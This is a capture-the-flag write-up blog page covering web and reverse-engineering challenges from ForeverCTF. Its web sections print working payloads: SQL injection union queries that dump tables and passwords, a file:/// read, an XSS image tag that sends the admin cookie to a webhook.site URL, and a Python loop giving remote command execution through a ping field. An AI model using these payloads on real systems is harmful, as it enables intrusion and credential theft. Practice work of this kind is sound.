➜ ~

Playing Hacks and Stuffs!


Project maintained by h4ckyou Hosted on GitHub Pages — Theme by mattgraham

ForeverCTF

Challenge Solved:

P.S I’ll be updating since I haven’t really solved all the challs and the ctf is running forever ¯\_(ツ)_/¯

Web

Binary Exploitation

Reverse Engineering

Cryptography

Forensics

## Miscellaneous

## Networking

Web 8/8:~

image

Start at the Source

image

Going over to the web url shows this image

Checking the page source gives the flag image

Flag: utflag{1_l1ke_h1de_&_seek}

Cookies

image

Going over to the web url shows this image

Checking the cookies available shows this image

I set the isCookieMonster to true

And on refreshing the page I got the flag image

Flag: utflag{c0ngrat5_tak3_a_byt3}

Baby SQLi

image

We are given this:

INSERT INTO users(username, password, email) VALUES ('admin', 'utflag{*****************}', 'contact@isss.io');

So this means the value stored in column password will contain the flag

Moving over to the web url shows this image

Searching for a valid mail returns the username it belongs to image

But a non valid mail turns an empty array image

When I inject a single quote ' it returns error image

But using -- comments it and no error is shown image

This means that the web server is vulneable to SQL Injection

We can also tell from the Challenge name 😉

Since only a single table is available and the flag is in the password column. I will use a union query to get that image

Payload: ' union select password from users --

And I got the flag

Flag: utflag{wow_lets_unionize}

Local File Inclusion

image

Going over to the web url shows this image

I tried including google.com and it returns the content image

One thing we should know is that not only http and https are the url protocols there’s also gopher, ftp, file etc.

The file protocol can be used in this case

We are already given the flag location to be at /

Let us get it image

Payload: file:///flag.txt

And I get the flag

Flag: utflag{g0t_y0ur_r3s0urc3!}

XSS

image

Going over to the web url shows this image

Giving it input shows this image

When I clicked on the url it gave I got this image

And it is just in the form tag image

I can try inject html tags

Doing that works image image

From the challenge description the flag is in the admin cookie

So from this vulnerability which is of cause Cross Site Scripting (XSS) we can steal the admin cookie

But when I tried injecting a alert tag I got error image

Luckily I don’t even need that to steal the admin cookie

Here’s the payload I used image

<img src=x onerror=this.src='https://webhook.site/04fe7606-2bda-443a-a66e-37be76febc63/?'+document.cookie;>

Back on the webhook site I got multiple http requess and each one contains the flag image

Flag: utflag{boop_beep_ddj333}

Server Side Request Forgery

image

Accessing the url shows this error image

Sorry, only cool kids on the internal network are allowed to login.

I then accessed http://forever.isss.io:4225/ and got this image

We can try using file protocol to read local files image

But we need the flag

The challenge name has already given us the hint of solving this which is a Server Side Request Forgery (SSRF) vulnerability

With this vulnerability we can access internal services running on the host

What we would want to access is {url}/flag

Doing that I got the flag image

Flag: utflag{SSRF_isnt_so_bad_after_all}

Command Injection

image

The source code is given

After downloading it reading the content gives this image

from flask import *
import subprocess
app = Flask(__name__)

@app.route('/', methods=['POST','GET'])
def index():
    if request.method == 'POST':
        url = request.form.get('url')
        if not url is None:
            command = 'ping -c 1 '+url
            p = subprocess.run(command, shell=True, capture_output=True)
            content = p.stdout.decode('ascii')
            return render_template('index.html', content=content)
    return render_template('index.html')

if __name__ == '__main__':
    app.run(host='0.0.0.0')

We can see that if the request made is a GET request it returns the content of index.html else if the http request method is POST it gets the content of the url from the request form and does a ping command on the url sent

Since the command is passed through subprocess and shell is set to True we can get command injection 🙂

Here’s my script for it

#!/usr/bin/python3
import requests
import re

while True:
    try:
        command = input('$ ')
        if command.lower() != 'q':
            url = 'http://forever.isss.io:4223'
            req = requests.post(url, data={"url":f";{command}"})
            
            # Extract value within <code> tags using regular expression >3
            pattern = r"<code>(.*?)</code>"
            match = re.search(pattern, req.text, re.DOTALL)
            
            if match:
                code_value = match.group(1)
                print(code_value)
            else:
                print("No value found within <code> tags.")
        
        else:
            exit()
    except Exception as e:
        print(e)

Running it works image

Flag: utflag{c0mmand_1nj3ct3d!}

SQLi

image

We are given this

 INSERT INTO ***********(***********, ***********, ***********) VALUES ('admin', 'utflag{*****************}', 'contact@isss.io');

Since this is a sequel to Baby SQLi

I’ll go straight to exploitation

In this case we don’t know the table nor the column where the flag is stored

But we can of cause get it 😉

First let us dump all the tables image

Payload: ' union select table_name from information_schema.tables --

Looking at the result I found this table name fishy image

secret_users_table_sfd33

Seems like it’s the right table 🤔

Let us check the coulumns there image

Payload: ' union select column_name from information_schema.columns where table_name = 'secret_users_table_sfd33' --

At this point we would want to dump the passfrase column from the secret_users_table_sfd33 table image

Payload: ' union select passfrase from secret_users_table_sfd33 --

Binary Exploitation 14/14:~

image

uint64_t

Reverse Engineering 4/7:~

image

strings

image

After I downloaded the binary I ran strings on it and got the flag image

Flag: utflag{plaintext_str1ngs_aRe_b3St_Str1ngs}

xor

image

After downloading the binary I checked the file type image

We are working with a x64 binary which is not stripped and has Position Independent Executable (PIE) enabled

I decompiled it in ghidra and here’s the main function image

int main(void)

{
  long in_FS_OFFSET;
  int i;
  uint local_7c;
  undefined8 local_78;
  undefined8 local_70;
  undefined8 local_68;
  undefined8 local_60;
  undefined8 local_58;
  undefined8 local_50;
  byte password [48];
  undefined local_18;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  local_78 = 0x43a26202d273534;
  local_70 = 0x7172727000057377;
  local_68 = 0x707037407710774;
  local_60 = 0x3007800720070;
  local_58 = 0x271737475717774;
  local_50 = 0x3c02027104000471;
  puts("enter the password:");
  __isoc99_scanf("%48s",password);
  for (i = 0; i < 48; i = i + 1) {
    password[i] = password[i] ^ 0x41;
  }
  local_18 = 0;
  local_7c = 0;
  do {
    if (47 < local_7c) {
      printf("correct");
LAB_001012c6:
      if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }
    if (password[(int)local_7c] != *(byte *)((long)&local_78 + (long)(int)local_7c)) {
      printf("incorrect");
      goto LAB_001012c6;
    }
    local_7c = local_7c + 1;
  } while( true );
}

From the decompiled code we can tell what it does:

So basically what we should do is to xor each character of the hex values of the flag with 0x41 and we would get the plaintext

I tried doing that but had issue with xoring it so instead I xored the whole bytes of the binary and got the flag lol

binary = bytearray(open('reversing-xor', 'rb').read())
dump = []

for i in binary:
    dump.append(chr(i ^ 0x41).encode())

with open('dump', 'wb') as fd:
    for i in dump:
        fd.write(i)

Running it creates the dump file then on doing strings I got the flag image

Flag: utflag{E62DA13305F0F5BFF1A3A9ABA5604520C0EAE0CC}

Simple Checker

image

After downloading the binary I checked the file type image

It is a 64 bits binary and not stripped but has PIE enabled

Using ghidra I decompiled it and here’s the main function image

void main(int argc,char **argv)

{
  int iVar1;
  
  if (argc != 2) {
    __fprintf_chk(stderr,1,"Usage: %s <flag>\n",*argv);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  check(argv[1][10] == 'p');
  check(argv[1][12] == 'e');
  check(argv[1][8] == 'i');
  check(argv[1][9] == 'm');
  check(argv[1][14] == '\0');
  iVar1 = memcmp("utflag{",argv[1],7);
  check(iVar1 == 0);
  check(argv[1][7] == 's');
  check(argv[1][0xd] == '}');
  check(argv[1][0xb] == 'l');
  puts("Right!");
                    /* WARNING: Subroutine does not return */
  exit(0);
}

Nothing much here just that we need to set each of argument 1 values and it’s index to the correct one

Doing that will give this utflag{simple}

We can confirm it by passing it as an argument image

Flag: utflag{simple}

gdb

image

I did the normal checks and it’s the same thing image

Decompiling in ghidra gives this image image image

undefined8 main(void)

{
  int cmp;
  size_t length;
  long in_FS_OFFSET;
  int i;
  byte local_188 [4];
  undefined local_184;
  undefined local_183;
  undefined local_182;
  undefined local_181;
  undefined local_180;
  undefined local_17f;
  undefined local_17e;
  undefined local_17d;
  undefined local_17c;
  undefined local_17b;
  undefined local_17a;
  undefined local_179;
  undefined local_178;
  undefined local_177;
  undefined local_176;
  undefined local_175;
  undefined local_174;
  undefined local_173;
  undefined local_172;
  undefined local_171;
  undefined local_170;
  undefined local_16f;
  undefined local_16e;
  undefined local_16d;
  undefined local_16c;
  undefined local_16b;
  undefined local_16a;
  undefined local_169;
  undefined local_168;
  undefined local_167;
  undefined local_166;
  undefined local_165;
  byte flag [36];
  undefined uStack_134;
  char input [264];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  local_188[0] = 0x1d;
  local_188[1] = 0x11;
  local_188[2] = 0xe;
  local_188[3] = 0x40;
  local_184 = 0x41;
  local_183 = 0x14;
  local_182 = 0xf;
  local_181 = 0x19;
  local_180 = 0x5a;
  local_17f = 0x5d;
  local_17e = 0x17;
  local_17d = 0x2c;
  local_17c = 0x59;
  local_17b = 0x18;
  local_17a = 0x3a;
  local_179 = 0x1c;
  local_178 = 0x78;
  local_177 = 0x19;
  local_176 = 0x45;
  local_175 = 0x1a;
  local_174 = 0;
  local_173 = 0;
  local_172 = 0x12;
  local_171 = 0x7f;
  local_170 = 0x1c;
  local_16f = 0x55;
  local_16e = 0x2d;
  local_16d = 0x1c;
  local_16c = 7;
  local_16b = 0x10;
  local_16a = 0x1a;
  local_169 = 0x5f;
  local_168 = 0x45;
  local_167 = 0x1f;
  local_166 = 0x32;
  local_165 = 0xf;
  puts("enter the flag:");
  fgets(input,256,stdin);
  length = strlen(input);
  if (length == 37) {
    for (i = 0; i < 0x24; i = i + 1) {
      length = strlen("heh, strings won\'t work here");
      flag[i] = "heh, strings won\'t work here"[(ulong)(long)i % length] ^ local_188[i];
    }
    uStack_134 = 0;
    length = strlen((char *)flag);
    cmp = strncmp(input,(char *)flag,length);
    if (cmp == 0) {
      puts("correct!");
    }
    else {
      puts("try again!");
    }
  }
  else {
    puts("try again!");
  }
  if (canary == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

Looking at what it does just shows a xor encryption which isn’t too complex and can be easily reversible but the catch there is the usage of strcmp

Since it is going to compare our input with the flag and the flag will be in plaintext we can get the flag that way

To get the flag I’ll use gdb

First let us open it up and disassemble the main function image image image

I will set a breakpoint at the second strlen call but I need to first break at main and run image image image

break main
break *0x555555400680

Now I will continue image image

Note that the input length must be 36

Flag: utflag{k33p_yoUr_memory_t0_yourselF}

Annoying XOR

image

Checking the file type shows the default configuration

Decompiling in ghidra shows this image


int main(int argc,char **argv)

{
  char cVar1;
  int compare;
  ulong uVar2;
  undefined1 *flag_array;
  char *pcVar3;
  byte bVar4;
  
  bVar4 = 0;
  if (argc != 2) {
    __fprintf_chk(stderr,1,"Usage: %s <flag>\n",*argv);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  srandom(0xf04d7e8c);
  flag_array = flag;
  do {
    uVar2 = 0xffffffffffffffff;
    pcVar3 = flag;
    do {
      if (uVar2 == 0) break;
      uVar2 = uVar2 - 1;
      cVar1 = *pcVar3;
      pcVar3 = pcVar3 + (ulong)bVar4 * -2 + 1;
    } while (cVar1 != '\0');
    if ((byte *)(~uVar2 - 1) <= flag_array + -0x301010) {
      compare = strcmp(flag,argv[1]);
      if (compare == 0) {
        puts("Right!");
      }
      else {
        puts("Wrong!");
        compare = 10;
      }
      return compare;
    }
    uVar2 = random();
    *flag_array = *flag_array ^
                  (byte)((long)uVar2 >>
                        (((char)(uVar2 & 0xff) + (char)((uVar2 & 0xff) / 3) * -3) * '\b' & 0x3fU));
    flag_array = flag_array + 1;
  } while( true );
}

It receives our input which is passed in argument one and does some annoying xor 😂

Anywyas I’m not reversing that since it uses strcmp to check if our input matches the flag

As I did in the previous chall gdb I’ll set a breakpoint there image image image

break main
c
break *main+196
r asdf

We get the flag

Flag: utflag{nowhere_is_safe}

Cryptography 7/13:~

image

Forensics 6/6:~

image

Miscellaneous 1/4:~

image

Networking 1/1:~

image

Tools 7/7:~

image

P.S I’ll be updating it >3